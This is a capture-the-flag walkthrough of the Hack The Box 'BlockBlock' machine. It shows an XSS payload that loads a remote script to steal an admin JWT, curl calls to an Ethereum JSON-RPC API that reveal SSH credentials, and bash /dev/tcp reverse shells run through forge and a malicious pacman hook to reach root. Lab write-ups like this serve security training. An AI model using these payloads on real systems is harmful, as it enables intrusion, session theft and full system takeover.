Hack The Box / LINUX / 2024-11-23
Hack The Box — BlockBlock (Linux)
Admin JWT theft via reported XSS, Ethereum JSON-RPC data extraction for credentials, local escalation from keira to paul through forge misuse, and root via pacman hook abuse.
Target
- IP:
10.129.202.244
Port Scan
sudo nmap -sC -sV 10.129.202.244 -p- -T5 -v
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 9.7 (protocol 2.0)
| ssh-hostkey:
| 256 d6:31:91:f6:8b:95:11:2a:73:7f:ed:ae:a5:c1:45:73 (ECDSA)
|_ 256 f2:ad:6e:f1:e3:89:38:98:75:31:49:7a:93:60:07:92 (ED25519)
80/tcp open http Werkzeug/3.0.3 Python/3.12.3
|_http-title: Home - DBLC
| http-methods:
|_ Supported Methods: GET HEAD OPTIONS
| fingerprint-strings:
| GetRequest:
| HTTP/1.1 200 OK
| Server: Werkzeug/3.0.3 Python/3.12.3
| Date: Mon, 18 Nov 2024 13:09:04 GMT
| Content-Type: text/html; charset=utf-8
| Content-Length: 275864
| Access-Control-Allow-Origin: http://0.0.0.0/
| Access-Control-Allow-Headers: Content-Type,Authorization
| Access-Control-Allow-Methods: GET,POST,PUT,DELETE,OPTIONS
| Connection: close
| <!DOCTYPE html>
| <html>
| <head>
| <title>
| Home - DBLC
| </title>
| <link rel="stylesheet" href="/assets/nav-bar.css">
| </head>
| <body>
| <!-- <main> -->
| <meta charset=utf-8>
| <meta name=viewport content="width=device-width, initial-scale=1">
| <style>
| :after,
| :before {
| box-sizing: border-box;
| border: 0 solid #e5e7eb
| :after,
| :before {
| --tw-content: ""
| :host,
| html {
| line-height: 1.5;
| HTTPOptions:
| HTTP/1.1 500 INTERNAL SERVER ERROR
| Server: Werkzeug/3.0.3 Python/3.12.3
| Date: Mon, 18 Nov 2024 13:09:04 GMT
| Content-Type: text/html; charset=utf-8
| Content-Length: 265
| Access-Control-Allow-Origin: http://0.0.0.0/
| Access-Control-Allow-Headers: Content-Type,Authorization
| Access-Control-Allow-Methods: GET,POST,PUT,DELETE,OPTIONS
| Connection: close
| <!doctype html>
| <html lang=en>
| <title>500 Internal Server Error</title>
| <h1>Internal Server Error</h1>
|_ <p>The server encountered an internal error and was unable to complete your request. Either the server is overloaded or there is an error in the application.</p>
|_http-server-header: Werkzeug/3.0.3 Python/3.12.3
|_http-favicon: Unknown favicon MD5: D07AD703EDD6F8326B5C45F86CA8084E
8545/tcp open unknown
| fingerprint-strings:
| GetRequest:
| HTTP/1.1 400 BAD REQUEST
| Server: Werkzeug/3.0.3 Python/3.12.3
| Date: Mon, 18 Nov 2024 13:09:04 GMT
| content-type: text/plain; charset=utf-8
| Content-Length: 43
| vary: origin, access-control-request-method, access-control-request-headers
| access-control-allow-origin: *
| date: Mon, 18 Nov 2024 13:09:04 GMT
| Connection: close
| Connection header did not include 'upgrade'
| HTTPOptions:
| HTTP/1.1 200 OK
| Server: Werkzeug/3.0.3 Python/3.12.3
| Date: Mon, 18 Nov 2024 13:09:05 GMT
| Content-Type: text/html; charset=utf-8
| Allow: GET, HEAD, POST, OPTIONS
| Access-Control-Allow-Origin: *
| Content-Length: 0
| Connection: close
| Help:
| <!DOCTYPE HTML>
| <html lang="en">
| <head>
| <meta charset="utf-8">
| <title>Error response</title>
| </head>
| <body>
| <h1>Error response</h1>
| <p>Error code: 400</p>
| <p>Message: Bad request syntax ('HELP').</p>
| <p>Error code explanation: 400 - Bad request syntax or unsupported method.</p>
| </body>
| </html>
| RTSPRequest:
| <!DOCTYPE HTML>
| <html lang="en">
| <head>
| <meta charset="utf-8">
| <title>Error response</title>
| </head>
| <body>
| <h1>Error response</h1>
| <p>Error code: 400</p>
| <p>Message: Bad request version ('RTSP/1.0').</p>
| <p>Error code explanation: 400 - Bad request syntax or unsupported method.</p>
| </body>
|_ </html>
Go to:
http://10.129.202.244/
Register an account.
We can download smart contracts from:
http://10.129.202.244/api/contract_source
There are two smart contracts:
Chat.solDatabase.sol
Web Enumeration
gobuster dir -u 'http://10.129.202.244/' -w /home/kali/SecLists/Discovery/Web-Content/raft-small-words.txt -t 50
We notice endpoint /admin.
There is endpoint /api/info that returns the JWT token for the current user.
There is a chat in the website with a report user button.
We discover XSS. The idea is to exploit XSS so admin visits /api/info, then send the response to our server.
Use payload file:
attachments/test.js
Start listeners:
python3 -m http.server 5000
nc -vlnp 5555
Report this payload:
<img src=x onerror="var script = document.createElement('script'); script.src = 'http://10.10.16.24:5000/test.js'; document.body.appendChild(script);" />
Wait. In netcat terminal we obtain:
{"role":"admin","token":"eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJmcmVzaCI6ZmFsc2UsImlhdCI6MTczMjA1MTcwMywianRpIjoiMzM2MTA2YjAtOGY2Ny00MzFiLWE0MTEtNDIxYTU0MTU3MTE5IiwidHlwZSI6ImFjY2VzcyIsInN1YiI6ImFkbWluIiwibmJmIjoxNzMyMDUxNzAzLCJleHAiOjE3MzI2NTY1MDN9.bpigNGPBAoBvc4eO7OIJNTKFZxQ_p7K18cA2Zqx354g","username":"admin"}
Put that token in browser and go to:
http://10.129.202.244/admin
There is a Users button.
We notice user keira.
Using browser dev tools (Network) we notice a request to json-rpc.
Alternative: CTRL+U.
JSON-RPC Enumeration and Credential Recovery
curl 'http://10.129.202.244/api/json-rpc' --cookie 'token=eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJmcmVzaCI6ZmFsc2UsImlhdCI6MTczMjA1MTcwMywianRpIjoiMzM2MTA2YjAtOGY2Ny00MzFiLWE0MTEtNDIxYTU0MTU3MTE5IiwidHlwZSI6ImFjY2VzcyIsInN1YiI6ImFkbWluIiwibmJmIjoxNzMyMDUxNzAzLCJleHAiOjE3MzI2NTY1MDN9.bpigNGPBAoBvc4eO7OIJNTKFZxQ_p7K18cA2Zqx354g'
{"Authorization":"2fc67ef658a34e9cf172ed6085225fb1dfd851189bf4b6a51802656b02364a8b"}
curl 'http://10.129.202.244/api/chat_address' --cookie 'token=eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJmcmVzaCI6ZmFsc2UsImlhdCI6MTczMjA1MTcwMywianRpIjoiMzM2MTA2YjAtOGY2Ny00MzFiLWE0MTEtNDIxYTU0MTU3MTE5IiwidHlwZSI6ImFjY2VzcyIsInN1YiI6ImFkbWluIiwibmJmIjoxNzMyMDUxNzAzLCJleHAiOjE3MzI2NTY1MDN9.bpigNGPBAoBvc4eO7OIJNTKFZxQ_p7K18cA2Zqx354g'
"0x38D681F08C24b3F6A945886Ad3F98f856cc6F2f8"
curl -X POST 'http://10.129.202.244/api/json-rpc' --cookie 'token=eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJmcmVzaCI6ZmFsc2UsImlhdCI6MTczMjA1MTcwMywianRpIjoiMzM2MTA2YjAtOGY2Ny00MzFiLWE0MTEtNDIxYTU0MTU3MTE5IiwidHlwZSI6ImFjY2VzcyIsInN1YiI6ImFkbWluIiwibmJmIjoxNzMyMDUxNzAzLCJleHAiOjE3MzI2NTY1MDN9.bpigNGPBAoBvc4eO7OIJNTKFZxQ_p7K18cA2Zqx354g' -H 'Content-Type: application/json' -H 'token: 2fc67ef658a34e9cf172ed6085225fb1dfd851189bf4b6a51802656b02364a8b' -d '{"jsonrpc": "2.0", "method": "eth_getBalance", "params":["0x38D681F08C24b3F6A945886Ad3F98f856cc6F2f8", "latest"], "id": "1"}'
{"id":"1","jsonrpc":"2.0","result":"0x0"}
We discover method eth_getLogs:
- https://www.quicknode.com/docs/ethereum/eth_getLogs
curl -X POST 'http://10.129.202.244/api/json-rpc' --cookie 'token=eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJmcmVzaCI6ZmFsc2UsImlhdCI6MTczMjA1MTcwMywianRpIjoiMzM2MTA2YjAtOGY2Ny00MzFiLWE0MTEtNDIxYTU0MTU3MTE5IiwidHlwZSI6ImFjY2VzcyIsInN1YiI6ImFkbWluIiwibmJmIjoxNzMyMDUxNzAzLCJleHAiOjE3MzI2NTY1MDN9.bpigNGPBAoBvc4eO7OIJNTKFZxQ_p7K18cA2Zqx354g' -H 'Content-Type: application/json' -H 'token: 2fc67ef658a34e9cf172ed6085225fb1dfd851189bf4b6a51802656b02364a8b' -d '{"jsonrpc": "2.0", "method": "eth_getLogs", "params":[{"fromBlock": "earliest","toBlock": "latest","address": "0x38D681F08C24b3F6A945886Ad3F98f856cc6F2f8"}], "id": "1"}'
We do not find anything interesting.
Use:
- https://www.quicknode.com/docs/ethereum/eth_getBlockByNumber
curl -X POST 'http://10.129.202.244/api/json-rpc' --cookie 'token=eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJmcmVzaCI6ZmFsc2UsImlhdCI6MTczMjA1MTcwMywianRpIjoiMzM2MTA2YjAtOGY2Ny00MzFiLWE0MTEtNDIxYTU0MTU3MTE5IiwidHlwZSI6ImFjY2VzcyIsInN1YiI6ImFkbWluIiwibmJmIjoxNzMyMDUxNzAzLCJleHAiOjE3MzI2NTY1MDN9.bpigNGPBAoBvc4eO7OIJNTKFZxQ_p7K18cA2Zqx354g' -H 'Content-Type: application/json' -H 'token: 2fc67ef658a34e9cf172ed6085225fb1dfd851189bf4b6a51802656b02364a8b' -d '{"jsonrpc": "2.0", "method": "eth_getBlockByNumber", "params":["0x1", true], "id": "1"}'
We obtain credentials:
keira SomedayBitCoinWillCollapse
SSH as keira
ssh keira@10.129.202.244
Use recovered password.
cat /etc/os-release
We discover this is Arch Linux.
sudo -l
User keira may run the following commands on blockblock:
(paul : paul) NOPASSWD: /home/paul/.foundry/bin/forge
Privilege Escalation to paul
cd /dev/shm
mkdir test
chmod 777 test
cd test
sudo -u paul /home/paul/.foundry/bin/forge init --no-git --offline
Create file /dev/shm/rev with content:
#!/bin/bash
bash -i >& /dev/tcp/10.10.16.24/4444 0>&1
chmod 777 /dev/shm/rev
Start listener:
nc -vlnp 4444
sudo -u paul /home/paul/.foundry/bin/forge build --use /dev/shm/rev
We obtain a reverse shell as user paul.
sudo -l
User paul may run the following commands on blockblock:
(ALL : ALL) NOPASSWD: /usr/bin/pacman
Privilege Escalation to root (pacman hook)
Start listener:
nc -vlnp 4444
Download package tree.tar.zst and upload it to target:
- https://archlinux.org/packages/extra/x86_64/tree/download/
cd /dev/shm
mkdir test_pacman
chmod 777 test_pacman
cd test_pacman
vim tree_install.hook
Copy this content:
[Trigger]
Type = Path
Operation = Install
Target = *
[Action]
Description = Updating the info directory file...
When = PostTransaction
Exec = /bin/sh -c 'bash -i >& /dev/tcp/10.10.16.24/4444 0>&1'
NeedsTargets
Now execute:
sudo pacman -U ./tree.tar.zst --hookdir /dev/shm/test_pacman
In netcat terminal we obtain a reverse shell as root.